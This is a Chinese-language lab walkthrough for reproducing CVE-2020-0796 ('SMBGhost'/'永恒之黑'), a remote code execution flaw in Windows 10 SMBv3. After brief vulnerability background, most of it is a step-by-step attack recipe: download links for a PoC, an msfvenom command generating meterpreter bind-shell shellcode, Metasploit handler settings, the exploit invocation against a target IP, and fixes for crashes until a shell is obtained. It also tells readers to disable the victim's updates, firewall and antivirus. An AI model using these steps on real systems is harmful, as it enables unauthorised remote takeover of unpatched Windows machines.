本实验仅供学习参考,请勿非法利用!
前言
最近终于成功的复现了下之前比较火的“永恒之黑”,最近正好无意间找到了获取目标Shell的POC。坑点较多(各种报错+蓝屏),本次记录主要是为正在“爬坑”的同学做些参考,照着我的步骤一定能复现拿到SHELL,希望对您有所帮助。末尾有避坑说明~
报错:failed to find PML4 self reference entry!
报错:physical read primitive failed!
蓝屏代码:srvnet.sys
漏洞描述
2020年3月,微软公布SMB远程代码执行漏洞(CVE-2020-0796)又称“永恒之黑”,该漏洞由SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。
• 漏洞名称:SMB远程代码执行漏洞、永恒之黑、SMBGhost
• 漏洞编号:CVE-2020-0796
• 漏洞危害等级:高
• 影响平台:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
漏洞分析
SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。
参考:https://www.freebuf.com/vuls/233263.html
漏洞复现
环境搭建
系统镜像:
ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/
检测工具:
https://pan.baidu.com/s/1U4CHnUhgf1KN3JhCjLbGhw 提取码:b2pd
POC:
https://pan.baidu.com/s/18E5q1S33d-Fw8M6GRkZzfw 提取码:xrnw
Kali镜像:
https://pan.baidu.com/s/1eh4kXRnS7aQSCggRH6UKBQ 提取码:h2x1
1)使用下载好的ISO镜像搭建Win 10环境。内存一定给大一些!
我这里内存调到了8G,最后调网网络,网卡先不加
2)选择下载好的ISO镜像
3)开始安装
4)填写激活码
W269N-WFGWX-YVC9B-4J6C9-T83GX
5)下一步,选择分区后下一步继续安装
6)继续下一步安装,点击我没有INTERNET连接
7)到这步点击否
8)点击接受
9)安装完成进入操作系统,打开文件资源管理器,右键此电脑点击管理,进入本地用户和组,解开Administrator用户并设置密码
10)切换administrator用户,点击接受完成设置。
打开Windwos设置,点击更新和安全,点击暂停更新,多点几下延长暂停更新时间。停止Windows Update服务并禁用。
点击Windows安全中心,关闭所有防火墙和网络保护如下状态。
11)添加网卡,设置为VMnet1
12)建议关闭宿主机杀毒管家、网络流量管家等防护工具,关闭防火墙
获取权限
1)打开kali,放入SMBGhost_RCE_PoC-master.zip到/root下,解压
2)首先使用msfvenom生成一个python类型的shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
3)将输出的内容复制,拷贝到exploit.py中,剪切替换原先的USER_PAYLOAD部分,
4)将buf = b替换为USER_PAYLOAD。注意不要出错,替换后保存
5)msfconsole开启监听端口
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 4444
set rhost 192.168.0.150 (Win10地址)
run
6)重点来了
先执行 chmod +x exploit
再执行python3 exploit.py -ip 192.168.0.150
(一定要使用python3,使用默认python会100%蓝屏)
提示:press a key to execute shellcode!
这时候回车
回车后,到这里就完成了。
再次查看监听窗口。没有提示?然后我就先Ctrl + C 退出,再重新run ,提示有session连接,meterpreter的会话窗口就自己跳出来了。
执行shell,回车,输入ipconfig
,可以看到是192.168.0.150。嗯,到这里就成功拿到shell了。
避坑说明
不成功和内存大小也有关系,Win10的内存一定不要太小,我这里给到8G。
必须使用python3执行,如果python有问题的话,可以参考下载我的kali镜像,自己下一个。
如果使用默认Python2 会蓝屏。
如果提示physical read primitive failed!
,在监听端Ctrl + C 退出再重新run一遍,再执行python3 exploit.py -ip 192.168.0.150
本实验仅供学习参考,请勿非法利用!